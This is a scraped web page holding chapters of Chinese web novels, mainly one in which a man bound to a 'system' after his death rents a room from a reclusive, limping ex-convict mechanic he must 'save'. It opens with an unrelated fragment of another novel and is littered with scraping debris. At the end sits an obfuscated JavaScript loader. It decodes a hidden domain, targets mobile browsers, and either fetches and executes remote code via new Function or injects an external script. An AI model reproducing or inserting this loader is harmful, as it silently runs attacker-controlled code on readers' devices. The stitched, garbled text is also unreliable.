        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        这下也不用下楼去买消息了,他走到旁边的长椅上坐下,刚想招呼裴凌也坐下,却不想青年竟也在定定的看着于霄手中的匕首,片刻后,转过头来,看向诉清歌。

        隔着面具,他的视线却好似穿透一切的利箭,笔直的落在诉清歌的身上。

        “是你。”裴凌说。

        两个字,却令诉清歌的心跳一瞬间停止。

        不过,很快他就意识到,裴凌绝不可能发现自己的身份,会说出这两个字,大概是因为见到那牡丹标志后,同样的想到了后世那场围剿之战,并意识到自己是死于他剑下的亡魂之一。

        诉清歌的脸上,恰到好处的露出一个有些疑惑的笑容:“什么是我?”

        “不,没什么。”裴凌果然没发现他也是个重生者,回过神,摇了摇头:“想到一点别的事情……胡言乱语了,请大师兄见谅。”

        诉清歌笑道:“没事,来,坐吧,下一场拍卖开始还要一会儿功夫呢。”说着拍了拍身旁的空位。

        裴凌点了点头,在诉清歌身旁坐下。

        于霄完全不懂这师兄弟二人到底在打什么哑谜,却也没什么兴趣搞懂,冷着一张脸,收回视线,继续玩自己手上的匕首。

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\t\t', '\t')('\n\t\t\t        十二月,滨市的夜空浮现沉紫色的光,为天幕下的城市蒙上了一层神秘的面纱。

        此时已十点过半,冬季的风吹得愈发凛冽,四下安静,街上行人也稀稀拉拉的,小区门口的小卖部里亮着昏昏的灯。

        边阑套着黑色羽绒服,揣着兜,嘴里叼着没抽完的烟卷儿,低头斜倚在路边的自动贩卖机旁,有一口没一口地吐着烟圈。

        他旁边的垃圾桶盖上已经堆了十几个烟蒂,足以见得他在这儿站了多久。

        “滴滴——”

        有人按响了自动贩卖机的按钮,短暂的把边阑四散的思绪拉回了原位。

        他抬起眼皮。

        却见一个和他差不多年纪的年轻青年正弯腰从出货口往外拿香烟,青年的长得很帅,绝对可以称得上一句俊美。可惜眉眼太过冷漠凌厉,唇角向下,凶凶的很不好接近。下颌轮廓分明,侧颈上有纹身,是一只黑色的蝴蝶。

        冷风呼啸的天气,他身上却只穿了一件单薄的黑色骷髅头卫衣,裸露出来的皮肤上挂着汗珠,像是刚跑完步回来。

        不对,不是跑步。

        边阑的目光移到青年手背上的汽油痕迹,心想,这人应该刚从修车厂下班。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        另一条街的修车厂,二十四小时开门,里面的修车工人两班轮流倒,十二小时工作时间,一月一休,不包吃住。

        条件很苦,却是某些没学历还有前科的人最好的去处。

        青年察觉到边阑打量的视线,眉头微蹙,斜眼回看过来,视线锐利,带着警告。

        边阑吐出一口烟,对他笑了一下。

        “要借火吗?”

        青年怔住,随即面无表情的转身离开,径直朝小区里面走去。

        他个子很高,站在一米八八的边阑旁边也不差多少,腰挺背直,仪态很好。

        只可惜,这么帅的男孩子,走起路来却是一瘸一拐,虽然看得出他已尽全力在控制,但还是无法完全战胜身体上的残缺。

        天生跛足。

        是个小瘸子。

        边阑舔了下嘴唇,灭了烟。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “他就是我的任务目标。”边阑看着那道蹒跚的背影,无声道:“没错吧?”

        昏黄路灯下,一颗散发着蓝色光芒的星星悄然无息的出现在他的身旁。

        “是的,宿主。”星星在半空中打了个转,冰冷的机械音像是凭空从边阑的脑子里响起:“您需要拯救他,感化他,让他重新明白生活的美好,直到系统判定您拯救成功,才算任务完成。重获新生的机会只有一次,请宿主小心行事,尽可能完成任务。”

        边阑笑了笑:“我知道。”

        一周前,边阑死在一场车祸中。意识逐渐消散的时候,这颗自称“系统”的星星绑定了他,还告诉边阑,只要他能够完成系统发布的任务,就可以重获新生。

        天上掉的馅饼,不要白不要。边阑没有分毫犹豫的接受了这笔交易。

        他抬起头,看向面前破旧的居民楼,潜藏在黑暗里的爬山虎像是影子般爬了满墙。这些一眼望去最高只有六层的建筑群,在这个日新月异不断发展的时代,像是被抛弃了一般,充满了岁月浸泡出的陈旧味道。

        保安室里的老头枕着短视频睡得正香,岗亭不过是个摆设而已,边阑轻而易举的进了小区大门。

        印满了广告的电线杆,黑漆漆的纠缠在一起的电线群,不知从哪个小巷里传来的电动车的警报声空空的回荡,花坛里的月季花只剩下了花杆,不知来年还能不能再开花。

        瘸子走不了多快,哪怕边阑耽误了一会儿,也很快就从黑暗中重新找到了青年的身影。

        放轻步子,他像是个跟踪狂一样左躲右藏的跟了一会儿,青年终于拐进了一座单元门里。边阑站在楼下,抬着头,在心里默数着有声控灯亮起的楼层。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        一、二、三……

        “砰!”

        一声沉重的关门声。

        边阑记住了:他的任务目标住在十号楼二单元四楼左边的房子里。

        知道了这一点,边阑在这儿蹲守了几个小时的目的便也达成了。

        他伸了个懒腰,转身离开。

        走回大街上,边阑看见两个穿着校服、看起来刚下晚自习的高中男生正一脸兴奋的围着一辆银灰色的布加迪拍照。

        他在旁边等了一会儿,直到那两个高中生离开,才走上前,用口袋里的车钥匙摁开了布加迪的锁,坐了进去。

        关上车门,边阑没急着发动,而是调出了系统之前传给他的有关任务对象的资料,从头到尾看了一遍。

        那个小瘸子名叫靳野,今年十九岁,同龄人刚上大学,朝气蓬勃充满希望,靳野却已背上了过失伤人的前科——十四岁那年,他在一场争执中失手将自己的父亲刺成重伤,被关了四年。

        有前科,没学历,纹身抽烟打架一样不落,靳野毫无疑问是大多数人眼中的社会败类。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        他没有钱,也找不到工作,幸而名下还有一套母亲死后留下的房子,不至于流落街头。打了一段不要学历只要身份证的日结零工后,靳野进了一家修车厂,总算是有了一份虽然微薄但还算稳定的收入。

        没有朋友,也没有情感经历,伤人事件后便和父亲连同一众亲戚断绝了关系。

        像座孤岛。

        这份资料,边阑在一周的时间里已反反复复看过很多遍。他收起资料,自言自语般将“拯救”二字重复了一遍,然后歪了下头,像是觉得很有趣般,对着后视镜里的自己笑了一下。

        --

        “小野哥!”

        刚送走一位顾客,靳野一手用毛巾擦着身上的汗,一手握着矿泉水瓶往嘴里灌,听到喊声,他回过头,不冷不热的“嗯”了一声。

        喊他的是修车厂里刚进的员工,一个刚高中毕业没多久的小男孩,叫陈洺:“老板让我问你,昨天给你的那辆白色奥迪修完没。”

        靳野放下水瓶,用拇指指腹抹去唇角的水滴:“那辆雨刷器不灵的?”

        “嗯。”

        “雨刷器没毛病,不灵纯属是因为保护套没去,去了就好了。”靳野道:“真要说,那车轮毂有点变形,需要修。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        “啊……”

        陈洺还没来得及说其他的,一道尖锐的女声伴随着踢踢踏踏的高跟鞋声便传了过来:“哎,那个修车的,别胡乱扯啊,我可是知道的,你们修车厂就喜欢搞这种没病挑毛病的事儿让客户付钱!什么轮毂变形,能用不就好了,非要骗我这冤枉钱。”

        靳野看过去,眼神冷冷的。

        “你这是什么态度?”顾客被他看的瑟缩了一下,又在看到靳野脖子上的纹身时露出不屑的神情,嘴里嘀咕了一句“不三不四的混混”。

        “……”

        从事服务业,难免会遇见那么几个傻逼。

        一年多了,靳野的心态多少也练出来了一点。他不愿多和这种人纠缠,转身想走,可那女人不依不饶,竟然跳上来抓他:“不准走!你骗我钱还瞪我,老板呢?喊你们老板来!我要你给我道歉!”

        靳野冷冷的看着面前的女人,心中像是有一团炸开了的毛线球,很烦,很痒,很想打人。

        老板很快就过来了,一番道歉解释,靳野也被逼着说了“对不起”,这事儿才算完。

        哦,不对,没完。

        送走了那个女人和她的奥迪,老板吸着烟,翘着二郎腿,对靳野摇了摇头:“靳野啊,和你说好几遍了,你这脾气得收收。这个月工资扣二百,下次注意。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        靳野垂在身侧的手攥成拳头,又慢慢松开。

        “嗯。”他说。

        一瘸一拐的走到修车厂外,靳野给自己点了根烟。

        “小野哥。”陈洺走过来,一副忿忿不平的样子:“明明是那个顾客自己不好,轮毂变形那么危险的事,她不懂就算了,竟然还骂你。老板也是,为什么扣你的钱啊……”

        “陈洺。”靳野打断了他的絮絮叨叨:“你的车修完了?”

        陈洺挠了挠头:“还没呢。”

        说完又在旁边等了会儿,见靳野只是低头抽烟,显然是不想再和自己交谈了,只好悻悻离开。

        冬季的天是灰白的,风冷的像冰渣,钻进肺里刺得生疼。

        靳野吸完了烟,将烟蒂扔到地上碾灭,正要转身回到厂里继续工作,裤子口袋里的手机忽然振动两下。

        他停下步子,拿出手机。

        只见租房软件上,他前段时间发布的出租信息下方,多了一个小小的红色提示圆点。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        【Lan:您好,是西河小区十号楼二单元405的屋主吗?】

        【Lan:我有意合租,不知您什么时候有空,可以带我看一下房子?】

        靳野点开对方的头像,空白,个人资料也是一片空白,只有IP地址显示是本地人。

        这段时间修车厂的老板不知道发了什么病,天天想方设法的扣他的工资。靳野猜他是不想让自己再在这儿干了,想用这种方法逼自己主动提离职。

        经济上的窘迫逼着靳野想出了把房子拿出去合租的办法。

        因为屋子破旧,地理位置不好,面积不大还是合租,因此靳野设置的租金非常低廉,一个小房间,一个月三百五。

        饶是如此,还是无人问津。

        这个Lan,是唯一一个问他的人。

        靳野想着自己刚刚被扣的两百块,打字回复。

        【用户07899:晚上十点后,或早上八点前。】

        这条消息发出去,很快便显示已读。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        【Lan:行的。明天八点,小区门口见。】

        【用户07899:可以。】

        边阑收起手机,他看着面前大敞的衣柜和地上堆得像小山一样的衣物,略微有些发愁。

        衣服、包包、鞋子、手表,还有各种电子产品。

        不带吧,边阑怕自己受不了委屈。

        带吧,又不像个需要去和人合租三百五的小房间的人。

        思来想去,边阑觉得自己根本也没必要装穷,但也不能表现的太富。

        于是简单的收拾了点行李,将布加迪的钥匙扔进抽屉,换成了不那么显眼的宾利。

        系统说,他要拯救靳野,让靳野重新明白生活的美好才算完成任务。

        拯救是什么?

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        边阑觉得,对一个没钱没朋友的人来说,给他钱和朋友,就是拯救。

        所以他租了靳野的房子,和靳野成为室友,并做好了随时被这个有前科的小瘸子借上一大笔钱的准备。

        完美。

        觉得自己的计划还算是天衣无缝的边阑,定好了第二天的闹钟,关上灯,躺到了床上,静静等待第二天的来临。

        --

        最近几天都没什么太阳,不下雨就已算是好天气。

        上了十二个小时的班,今天还起了个大早,靳野站在小区门口,神情恹恹,一副没睡醒的样子。

        滨市勉强排得上三线,房租两三千属于正常范畴。会租三百五单间住的人,经济肯定十分拮据,还很可能是个混社会的小流氓。

        不过无论来什么样的流氓,靳野都有信心能镇得住场子。

        真捅过人坐过牢的,和那些社会上混社会玩儿的,还是有本质区别的。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        但靳野是真的没想到,来的人不仅不是流氓,还很明显是个有钱的富家公子哥。

        边阑停好车,理了下自己的外套下摆,隔着车对上靳野的视线,弯了下唇:“07899?”

        靳野顿了会儿,才意识到对方是在说自己在租房软件上的用户名后面那串数字。

        他没回答,而是定定的看着边阑的脸。

        边阑也任由他看。他对自己的长相还是挺有信心的。

        事实也的确如此,他不仅长得帅,还是那种很有辨识度的帅,眉眼带着疏离,却并不显得冷漠。身上散发出的气质令人不用看他的衣着座驾,就知道他肯定家世优渥。

        靳野皱起眉:“你不是前天晚上在小区门口那个人吗?”

        边阑没想到他的记忆力这么好,当时光线昏暗,他们又只有一面之缘,靳野竟都能记得如此清楚。

        “对,我叫边阑。”边阑道,“前天我也来这边看过房,但都不怎么满意。”

        靳野看了眼停在旁边的黑色宾利,他对车还算了解,知道这辆车落地起码也要一百七十多万。便觉得边阑是在遛自己玩,语气变冷:“你不像是需要在这边租房子的人。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        边阑道:“怎么不需要?我最近犯了点错,卡全被家里停了,想找个落脚的地,只能越便宜越好咯。咱们什么时候去看房?”

        靳野盯着边阑的眼睛看了一会儿,却也无法从中看出什么破绽。

        不过,他本来也就不是什么会关心他人闲事的人,只要规规矩矩付房租,不搞事,就算住他房子的是美国总统也无所谓。

        于是转身朝小区里面走去。

        见靳野不再继续追究,边阑便也把那一肚子准备好的理由全都咽了回去,快走两步跟了上去。

        这小区是真的很有年代感,处处透着一股泛黄老照片的感觉。略有些昏暗的楼梯道内处处被印着小广告,每家每户的门上都贴着对联或福字,有些上面还被画了小人,应该是家里小孩的手笔。

        瘸子是不好上楼梯的,可靳野竟走的比边阑还快,他面无表情的打开了房门,侧身道:“进来吧。”

        边阑依言走进去,出乎意料的发现屋子被收拾的非常干净,各种物品摆放的井井有条,阳台上挂着一盆绿萝,叶子绿绿的,很有生机。

        他打量着这间不到五十平米的房子,忽然见到小架子上还摆着一个相框,中间一片空白:不是没有照片,而是里面的照片被人翻了过去,背着放了。

        “这里就是你的房间。”

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        正当边阑对着相框无比好奇时,靳野走到了一个小房间的门口,打开了门。

        边阑识趣的收回视线,走了过去。

        往里一看。

        床、桌子、椅子、还有一个床头柜和折叠衣架。

        这就是全部家具了。

        窗户是开着的,拉了纱窗,风吹进来,有点冷。屋里没有任何异味,相反还有一股淡淡的清新剂的香味。

        除了地板踩上去会有些咯吱响以外,所有的一切都比边阑想象的好太多了。

        “话说在前头。”

        靳野在他身后道:“如果你真要住在这里,休息睡觉的时候不要发出太大的杂音,平时也不可以带朋友或女人回来,厨房浴室卫生间共用,但用了都要打扫好。水电费平摊,没有空调,你要是想装,费用自理。”

        边阑回头,心中意外再次加了一层。他没想到靳野这副痞帅酷哥的外表下,心竟然这么细,已经想到了这么多。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        他正想说好,便听靳野又继续道。

        “还有,禁止不穿衣服在屋子里逛,只不穿上衣也不行,平日也不要和我说话。”

        边阑愣了下:“为什么?”

        靳野道:“一,我坐过牢,有前科。二,我是个同性恋。”

        他说这些话的时候,全程把身子靠在墙上,斜斜的站着,双手抱臂,表情冷冷的,无论是语气还是神情都没有任何起伏。

        边阑心里“啊”了一声,顿时明白为什么靳野记得自己了。

        无论男女,遇上了自己的理想型,哪怕只看了一眼,都是会记在心里的。

        靳野觉得自己已经把话说的这么明白,除非边阑是个傻子,否则必不可能再和自己合租。

        却没想到,边阑笑了一下,便道:“行,咱们合同怎么签?今天我直接入住,合适吗?”

        【本章阅读完毕,更多请搜索25书屋;http://m.25shuwu.com 阅读更多精彩小说】\t\t', '\t')('\n\t\t\t        晚上十点下班,十分钟的步行路程,回到家以后简单的煮一碗酱油面,偶尔打个鸡蛋,吃完后洗衣服拖地打扫卫生,忙完一切后冲个澡,时间溜到十一点半。

        躺在床上看看手机打打游戏,一两点睡觉。

        第二天九点起床,下楼跑步半小时,回家冲澡做早饭,吃完后收拾东西上班。

        如此便是靳野一天的所有行程,没什么起伏也没什么特别,形单影只,独来独往,每天都充满了枯燥与孤独。

        边阑观察了一周,除了发现靳野拥有着超出自己想象的自律外,没再发现其他特别之处。

        他本以为靳野喜欢自己的脸,又是个同性恋,迟早会得到靳野的主动示好。

        没想到除了第一天的坦白,靳野竟真的不曾主动对他说过任何一句话。住在同一个屋檐下,关系却和路上擦肩而过的路人没什么两样。

        这让边阑少有的感到了些挫败。

        又点了根烟,他靠坐在客厅那座窄小的皮沙发上,眯眼对着面前的笔记本电脑敲敲打打。

        手机振动,他将烟咬在嘴里,腾出手拿起手机,划开锁屏。

        【LYH:好哥们,忙不,来玩啊,有漂亮妹妹。】

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        下面附图一张,五彩灯光乱闪的昏暗包厢里,一个染着金发的俊帅青年搂着个浓妆艳抹、胸大貌美的女人,对着镜头比了个Wink。

        LYH,李昱航,李家老二,不学无术的花花公子,成天吃喝玩乐的标准纨绔。

        边阑动了动手指,懒懒的回了一个字。

        【Lan:不。】

        消息刚发出去,李昱航的电话就过来了。

        他这会儿应该已经走出了那间包厢,背景里隐约还能听见重金属音乐沉闷的打击声,但已能算的上安静。

        “边阑,最近你怎么回事儿啊?”李昱航大概是喝了点,说话带点大舌头。“好久没见你露脸了,说实话,是不是让你家那老头给偷偷送出国历练去了?”

        边阑嗤笑一声,取下烟,在一旁的烟灰缸里点去烟灰:“他能让我出去历练?不找人开车撞死我就不错了。我最近在滨城。”

        李昱航充满疑惑的“啊?”了一声:“你家在那儿也没开分公司啊,去那干嘛,下放?”

        边阑当然不可能说实话,京城圈子里的阶级分化太强,要是被人知道他最近正费劲吧啦的想着如何去讨一个一穷二白的同性恋瘸子的欢心,就真成笑柄了。

        不得不承认的是,他和其他人一样,对靳野多多少少怀着些许偏见,觉得这人从性子到社会化程度都有不小的问题,说不准哪一天旧病复发,又会重新进到监狱里去。

        内容未完,下一页继续阅读\t\t', '\t')('\n\t\t\t        他笑了笑:“过来处理点事,私事。”

        说完忽然想起电话那头的人是个荤腥不忌男女通吃的主儿,夹着烟犹豫几分,还是开口道:“问你个问题。”

        李昱航道:“行啊,边大少爷难得有问题需要我解答,问吧问吧。”

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
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